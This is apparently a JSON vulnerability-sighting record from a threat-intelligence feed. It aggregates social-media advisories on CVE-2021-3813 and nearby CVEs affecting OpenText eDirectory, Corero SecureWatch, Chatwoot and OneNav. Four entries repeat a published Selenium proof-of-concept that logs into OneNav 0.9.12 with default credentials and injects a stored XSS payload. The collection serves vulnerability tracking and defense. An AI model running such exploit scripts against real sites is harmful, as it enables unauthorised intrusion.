{"vulnerability": "CVE-2021-3813", "sightings": [{"uuid": "07daea40-f83d-4594-b3a2-0476e1ca100e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-38132", "type": "seen", "source": "https://t.me/cvedetector/5475", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2021-38132 - OpenText eDirectory External Service Interaction Information Disclosure Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2021-38132 \nPublished : Sept. 12, 2024, 1:15 p.m. | 16\u00a0minutes ago \nDescription : Possible   \nExternal Service Interaction attack  \n  \nin eDirectory has been discovered in  \nOpenText\u2122 eDirectory. This impact all version before\u00a09.2.6.0000. \nSeverity: 5.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Sep 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-09-12T15:37:11.000000Z"}, {"uuid": "2695bcb0-b495-4ffc-baa0-01f7aadd725e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-38133", "type": "seen", "source": "https://t.me/cvedetector/5476", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2021-38133 - OpenText eDirectory External Service Interaction Remote Code Execution Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2021-38133 \nPublished : Sept. 12, 2024, 1:15 p.m. | 16\u00a0minutes ago \nDescription : Possible   \nExternal Service Interaction attack  \n  \nin eDirectory has been discovered in  \nOpenText\u2122 eDirectory. This impact all version before\u00a09.2.6.0000. \nSeverity: 7.4 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Sep 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-09-12T15:37:12.000000Z"}, {"uuid": "ee777cc7-548f-466f-abb1-b039d6029399", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-3813", "type": "seen", "source": "https://t.me/cibsecurity/37068", "content": "\u203c CVE-2021-3813 \u203c\n\nImproper Privilege Management in GitHub repository chatwoot/chatwoot prior to v2.2.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-02-09T18:12:59.000000Z"}, {"uuid": "0102b9fe-d192-4201-b2b8-94907b28e4d4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-38138", "type": "seen", "source": "https://t.me/cibsecurity/26887", "content": "\u203c CVE-2021-38138 \u203c\n\nOneNav beta 0.9.12 allows XSS via the Add Link feature. NOTE: the vendor's position is that there intentionally is not any XSS protection at present, because the attack risk is largely limited to a compromised account; however, XSS protection is planned for a future release.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-08-05T20:31:24.000000Z"}, {"uuid": "ad821232-fb5c-4aea-9b63-4ab49998feed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-38137", "type": "seen", "source": "https://t.me/cibsecurity/26936", "content": "\u203c CVE-2021-38137 \u203c\n\nCorero SecureWatch Managed Services 9.7.2.0020 does not correctly check swa-monitor and cns-monitor user\u00e2\u20ac\u2122s privileges, allowing a user to perform actions not belonging to his role.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-08-06T18:32:28.000000Z"}, {"uuid": "1a49d820-8d14-41ce-8512-bb8a09745344", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-38136", "type": "seen", "source": "https://t.me/cibsecurity/26940", "content": "\u203c CVE-2021-38136 \u203c\n\nCorero SecureWatch Managed Services 9.7.2.0020 is affected by a Path Traversal vulnerability via the snap_file parameter in the /it-IT/splunkd/__raw/services/get_snapshot HTTP API endpoint. A \u00e2\u20ac\u02dclow privileged\u00e2\u20ac\u2122 attacker can read any file on the target host.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-08-06T18:32:31.000000Z"}, {"uuid": "0eb9d856-ca25-4587-bfad-8d7b869fcde3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-38135", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mqjsrulk6w2k", "content": "\ud83d\udccc CVE-2021-38135 - Possible \nExternal Service Interaction attack\n\nin iManager has been discovered in\nOpenText\u2122 iManager 3.2.6.0000. https://www.cyberhub.blog/cves/CVE-2021-38135", "creation_timestamp": "2026-07-13T13:37:06.588641Z"}, {"uuid": "5b0d7625-5580-4665-ad96-2ee20a0a9256", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-38135", "type": "seen", "source": "https://bsky.app/profile/potato.software/post/3mqjsrvmvf22t", "content": "\ud83d\udccc CVE-2021-38135 - Possible \nExternal Service Interaction attack\n\nin iManager has been discovered in\nOpenText\u2122 iManager 3.2.6.0000. https://www.potatohub.blog/cves/CVE-2021-38135", "creation_timestamp": "2026-07-13T13:37:07.507171Z"}, {"uuid": "a9c0b9d7-817a-4680-ace1-096fdbf42206", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-38138", "type": "seen", "source": "https://t.me/hacking_Attack/19572", "content": "Exploit Collector\nOneNav Beta 0.9.12 Cross Site Scripting\n\nhttps://3.bp.blogspot.com/-A9um4FlUYrw/WWlvH0fnNDI/AAAAAAAAILk/pA4dWsQKlcwBJHJ-2O0qL7e98i6zrXCWwCLcBGAs/s1600/h141.png \nOneNav Beta version 0.9.12 suffers from a persistent cross site scripting vulnerability.\n\nMD5 | 34f99bb0950d19e9ede342ffe3dfa648\n\nDownload\n# Exploit Title: XSS-Stored - Brutal PWNED on OneNav beta 0.9.12 add_link feature\n# Author: nu11secur1ty\n# Testing and Debugging: nu11secur1ty $ g3ck0dr1v3r\n# Date: 08.06.2021\n# Vendor: https://www.xiaoz.me/\n# Link: https://github.com/helloxz/onenav/releases/tag/0.9.12\n# CVE: CVE-2021-38138\n\n[+] Exploit Source:\n\n#!/usr/bin/python3\n# Author: @nu11secur1ty\n# Debug and Developement: nu11secur1ty &amp; g3ck0dr1v3r\n# CVE-2021-38138\n\nfrom selenium import webdriver\nimport time\n#enter the link to the website you want to automate login.\nwebsite_link=\"http://192.168.1.120/index.php?c=login\"\n\n#enter your login username\nusername=\"xiaoz\"\n\n#enter your login password\npassword=\"xiaoz.me\"\n\n#enter the element for username input field\nelement_for_username=\"user\"\n#enter the element for password input field\nelement_for_password=\"password\"\n#enter the element for submit button\nelement_for_submit=\"layui-btn\"\n\nbrowser = webdriver.Chrome()\nbrowser.get((website_link))\n\ntry:\nusername_element = browser.find_element_by_name(element_for_username)\nusername_element.send_keys(username)\npassword_element  = browser.find_element_by_name(element_for_password)\npassword_element.send_keys(password)\nsignInButton = browser.find_element_by_class_name(element_for_submit)\nsignInButton.click()\n\n# Exploit PWNED HTTP Traffic is not filtered. It was a lot of fun :D\ntime.sleep(3)\nbrowser.get((\"http://192.168.1.120/index.php?c=admin&amp;page=add_link\"))\ntime.sleep(3)\nbrowser.execute_script(\"document.querySelector('[name=\\\"url\\\"]').value = '\nhttp://192.168.1.120/index.php?c=admin&amp;page=add_link'\")\ntime.sleep(3)\nbrowser.execute_script(\"document.querySelector('[name=\\\"title\\\"]').value =\n' \nhttps://cdn5-capriofiles.netdna-ssl.com/wp-content/uploads/2017/07/IMG_0068.gif\nonerror=alert(1) /&gt;'\")\n\n#button1\nbrowser.execute_script(\"document.querySelector('[class=\\\"layui-edge\\\"]').click()\")\ntime.sleep(1)\n\n# button2 using $ because querySelector cannot parse dd selector\nbrowser.execute_script(\"$('dd[lay-value=19]').click()\")\n\ntime.sleep(1)\nbrowser.execute_script(\"document.querySelector('[name=\\\"description\\\"]').value\n= ' \nhttps://cdn5-capriofiles.netdna-ssl.com/wp-content/uploads/2017/07/IMG_0068.gif\nonerror=alert(1) /&gt;'\")\n\n#submit button3\nbrowser.execute_script(\"document.querySelector('[class=\\\"layui-btn\\\"]').click()\")\ntime.sleep(1)\nbrowser.maximize_window()\nbrowser.get((\"http://192.168.1.120/index.php?c=admin&amp;page=link_list\"))\n\nprint(\"payload is deployed...\\n\")\n\nexcept Exception:\n#### This exception occurs if the element are not found in the webpage.\nprint(\"Some error occured :(\")\n----------------------------------------------------------------------------------------\n\n# Reproduce:\nhttps://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2021-38138\n# Proof: https://streamable.com/ubtzio\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-01T20:02:29.865338Z"}, {"uuid": "5c5c223e-9713-409b-8bcc-eca711e51b1f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-38138", "type": "seen", "source": "https://t.me/hacking_Attack/19572", "content": "Exploit Collector\nOneNav Beta 0.9.12 Cross Site Scripting\n\nhttps://3.bp.blogspot.com/-A9um4FlUYrw/WWlvH0fnNDI/AAAAAAAAILk/pA4dWsQKlcwBJHJ-2O0qL7e98i6zrXCWwCLcBGAs/s1600/h141.png \nOneNav Beta version 0.9.12 suffers from a persistent cross site scripting vulnerability.\n\nMD5 | 34f99bb0950d19e9ede342ffe3dfa648\n\nDownload\n# Exploit Title: XSS-Stored - Brutal PWNED on OneNav beta 0.9.12 add_link feature\n# Author: nu11secur1ty\n# Testing and Debugging: nu11secur1ty $ g3ck0dr1v3r\n# Date: 08.06.2021\n# Vendor: https://www.xiaoz.me/\n# Link: https://github.com/helloxz/onenav/releases/tag/0.9.12\n# CVE: CVE-2021-38138\n\n[+] Exploit Source:\n\n#!/usr/bin/python3\n# Author: @nu11secur1ty\n# Debug and Developement: nu11secur1ty &amp; g3ck0dr1v3r\n# CVE-2021-38138\n\nfrom selenium import webdriver\nimport time\n#enter the link to the website you want to automate login.\nwebsite_link=\"http://192.168.1.120/index.php?c=login\"\n\n#enter your login username\nusername=\"xiaoz\"\n\n#enter your login password\npassword=\"xiaoz.me\"\n\n#enter the element for username input field\nelement_for_username=\"user\"\n#enter the element for password input field\nelement_for_password=\"password\"\n#enter the element for submit button\nelement_for_submit=\"layui-btn\"\n\nbrowser = webdriver.Chrome()\nbrowser.get((website_link))\n\ntry:\nusername_element = browser.find_element_by_name(element_for_username)\nusername_element.send_keys(username)\npassword_element  = browser.find_element_by_name(element_for_password)\npassword_element.send_keys(password)\nsignInButton = browser.find_element_by_class_name(element_for_submit)\nsignInButton.click()\n\n# Exploit PWNED HTTP Traffic is not filtered. It was a lot of fun :D\ntime.sleep(3)\nbrowser.get((\"http://192.168.1.120/index.php?c=admin&amp;page=add_link\"))\ntime.sleep(3)\nbrowser.execute_script(\"document.querySelector('[name=\\\"url\\\"]').value = '\nhttp://192.168.1.120/index.php?c=admin&amp;page=add_link'\")\ntime.sleep(3)\nbrowser.execute_script(\"document.querySelector('[name=\\\"title\\\"]').value =\n' \nhttps://cdn5-capriofiles.netdna-ssl.com/wp-content/uploads/2017/07/IMG_0068.gif\nonerror=alert(1) /&gt;'\")\n\n#button1\nbrowser.execute_script(\"document.querySelector('[class=\\\"layui-edge\\\"]').click()\")\ntime.sleep(1)\n\n# button2 using $ because querySelector cannot parse dd selector\nbrowser.execute_script(\"$('dd[lay-value=19]').click()\")\n\ntime.sleep(1)\nbrowser.execute_script(\"document.querySelector('[name=\\\"description\\\"]').value\n= ' \nhttps://cdn5-capriofiles.netdna-ssl.com/wp-content/uploads/2017/07/IMG_0068.gif\nonerror=alert(1) /&gt;'\")\n\n#submit button3\nbrowser.execute_script(\"document.querySelector('[class=\\\"layui-btn\\\"]').click()\")\ntime.sleep(1)\nbrowser.maximize_window()\nbrowser.get((\"http://192.168.1.120/index.php?c=admin&amp;page=link_list\"))\n\nprint(\"payload is deployed...\\n\")\n\nexcept Exception:\n#### This exception occurs if the element are not found in the webpage.\nprint(\"Some error occured :(\")\n----------------------------------------------------------------------------------------\n\n# Reproduce:\nhttps://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2021-38138\n# Proof: https://streamable.com/ubtzio\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-02T01:03:04.462896Z"}, {"uuid": "b1600cec-1623-4d17-989d-57aff8737257", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-38138", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/19572", "content": "Exploit Collector\nOneNav Beta 0.9.12 Cross Site Scripting\n\nhttps://3.bp.blogspot.com/-A9um4FlUYrw/WWlvH0fnNDI/AAAAAAAAILk/pA4dWsQKlcwBJHJ-2O0qL7e98i6zrXCWwCLcBGAs/s1600/h141.png \nOneNav Beta version 0.9.12 suffers from a persistent cross site scripting vulnerability.\n\nMD5 | 34f99bb0950d19e9ede342ffe3dfa648\n\nDownload\n# Exploit Title: XSS-Stored - Brutal PWNED on OneNav beta 0.9.12 add_link feature\n# Author: nu11secur1ty\n# Testing and Debugging: nu11secur1ty $ g3ck0dr1v3r\n# Date: 08.06.2021\n# Vendor: https://www.xiaoz.me/\n# Link: https://github.com/helloxz/onenav/releases/tag/0.9.12\n# CVE: CVE-2021-38138\n\n[+] Exploit Source:\n\n#!/usr/bin/python3\n# Author: @nu11secur1ty\n# Debug and Developement: nu11secur1ty &amp; g3ck0dr1v3r\n# CVE-2021-38138\n\nfrom selenium import webdriver\nimport time\n#enter the link to the website you want to automate login.\nwebsite_link=\"http://192.168.1.120/index.php?c=login\"\n\n#enter your login username\nusername=\"xiaoz\"\n\n#enter your login password\npassword=\"xiaoz.me\"\n\n#enter the element for username input field\nelement_for_username=\"user\"\n#enter the element for password input field\nelement_for_password=\"password\"\n#enter the element for submit button\nelement_for_submit=\"layui-btn\"\n\nbrowser = webdriver.Chrome()\nbrowser.get((website_link))\n\ntry:\nusername_element = browser.find_element_by_name(element_for_username)\nusername_element.send_keys(username)\npassword_element  = browser.find_element_by_name(element_for_password)\npassword_element.send_keys(password)\nsignInButton = browser.find_element_by_class_name(element_for_submit)\nsignInButton.click()\n\n# Exploit PWNED HTTP Traffic is not filtered. It was a lot of fun :D\ntime.sleep(3)\nbrowser.get((\"http://192.168.1.120/index.php?c=admin&amp;page=add_link\"))\ntime.sleep(3)\nbrowser.execute_script(\"document.querySelector('[name=\\\"url\\\"]').value = '\nhttp://192.168.1.120/index.php?c=admin&amp;page=add_link'\")\ntime.sleep(3)\nbrowser.execute_script(\"document.querySelector('[name=\\\"title\\\"]').value =\n' \nhttps://cdn5-capriofiles.netdna-ssl.com/wp-content/uploads/2017/07/IMG_0068.gif\nonerror=alert(1) /&gt;'\")\n\n#button1\nbrowser.execute_script(\"document.querySelector('[class=\\\"layui-edge\\\"]').click()\")\ntime.sleep(1)\n\n# button2 using $ because querySelector cannot parse dd selector\nbrowser.execute_script(\"$('dd[lay-value=19]').click()\")\n\ntime.sleep(1)\nbrowser.execute_script(\"document.querySelector('[name=\\\"description\\\"]').value\n= ' \nhttps://cdn5-capriofiles.netdna-ssl.com/wp-content/uploads/2017/07/IMG_0068.gif\nonerror=alert(1) /&gt;'\")\n\n#submit button3\nbrowser.execute_script(\"document.querySelector('[class=\\\"layui-btn\\\"]').click()\")\ntime.sleep(1)\nbrowser.maximize_window()\nbrowser.get((\"http://192.168.1.120/index.php?c=admin&amp;page=link_list\"))\n\nprint(\"payload is deployed...\\n\")\n\nexcept Exception:\n#### This exception occurs if the element are not found in the webpage.\nprint(\"Some error occured :(\")\n----------------------------------------------------------------------------------------\n\n# Reproduce:\nhttps://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2021-38138\n# Proof: https://streamable.com/ubtzio\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-07T21:00:05.551630Z"}, {"uuid": "1ac56cf7-eca2-4f96-b063-c078e2928495", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-38138", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/19572", "content": "Exploit Collector\nOneNav Beta 0.9.12 Cross Site Scripting\n\nhttps://3.bp.blogspot.com/-A9um4FlUYrw/WWlvH0fnNDI/AAAAAAAAILk/pA4dWsQKlcwBJHJ-2O0qL7e98i6zrXCWwCLcBGAs/s1600/h141.png \nOneNav Beta version 0.9.12 suffers from a persistent cross site scripting vulnerability.\n\nMD5 | 34f99bb0950d19e9ede342ffe3dfa648\n\nDownload\n# Exploit Title: XSS-Stored - Brutal PWNED on OneNav beta 0.9.12 add_link feature\n# Author: nu11secur1ty\n# Testing and Debugging: nu11secur1ty $ g3ck0dr1v3r\n# Date: 08.06.2021\n# Vendor: https://www.xiaoz.me/\n# Link: https://github.com/helloxz/onenav/releases/tag/0.9.12\n# CVE: CVE-2021-38138\n\n[+] Exploit Source:\n\n#!/usr/bin/python3\n# Author: @nu11secur1ty\n# Debug and Developement: nu11secur1ty &amp; g3ck0dr1v3r\n# CVE-2021-38138\n\nfrom selenium import webdriver\nimport time\n#enter the link to the website you want to automate login.\nwebsite_link=\"http://192.168.1.120/index.php?c=login\"\n\n#enter your login username\nusername=\"xiaoz\"\n\n#enter your login password\npassword=\"xiaoz.me\"\n\n#enter the element for username input field\nelement_for_username=\"user\"\n#enter the element for password input field\nelement_for_password=\"password\"\n#enter the element for submit button\nelement_for_submit=\"layui-btn\"\n\nbrowser = webdriver.Chrome()\nbrowser.get((website_link))\n\ntry:\nusername_element = browser.find_element_by_name(element_for_username)\nusername_element.send_keys(username)\npassword_element  = browser.find_element_by_name(element_for_password)\npassword_element.send_keys(password)\nsignInButton = browser.find_element_by_class_name(element_for_submit)\nsignInButton.click()\n\n# Exploit PWNED HTTP Traffic is not filtered. It was a lot of fun :D\ntime.sleep(3)\nbrowser.get((\"http://192.168.1.120/index.php?c=admin&amp;page=add_link\"))\ntime.sleep(3)\nbrowser.execute_script(\"document.querySelector('[name=\\\"url\\\"]').value = '\nhttp://192.168.1.120/index.php?c=admin&amp;page=add_link'\")\ntime.sleep(3)\nbrowser.execute_script(\"document.querySelector('[name=\\\"title\\\"]').value =\n' \nhttps://cdn5-capriofiles.netdna-ssl.com/wp-content/uploads/2017/07/IMG_0068.gif\nonerror=alert(1) /&gt;'\")\n\n#button1\nbrowser.execute_script(\"document.querySelector('[class=\\\"layui-edge\\\"]').click()\")\ntime.sleep(1)\n\n# button2 using $ because querySelector cannot parse dd selector\nbrowser.execute_script(\"$('dd[lay-value=19]').click()\")\n\ntime.sleep(1)\nbrowser.execute_script(\"document.querySelector('[name=\\\"description\\\"]').value\n= ' \nhttps://cdn5-capriofiles.netdna-ssl.com/wp-content/uploads/2017/07/IMG_0068.gif\nonerror=alert(1) /&gt;'\")\n\n#submit button3\nbrowser.execute_script(\"document.querySelector('[class=\\\"layui-btn\\\"]').click()\")\ntime.sleep(1)\nbrowser.maximize_window()\nbrowser.get((\"http://192.168.1.120/index.php?c=admin&amp;page=link_list\"))\n\nprint(\"payload is deployed...\\n\")\n\nexcept Exception:\n#### This exception occurs if the element are not found in the webpage.\nprint(\"Some error occured :(\")\n----------------------------------------------------------------------------------------\n\n# Reproduce:\nhttps://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2021-38138\n# Proof: https://streamable.com/ubtzio\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-08T00:00:24.134486Z"}]}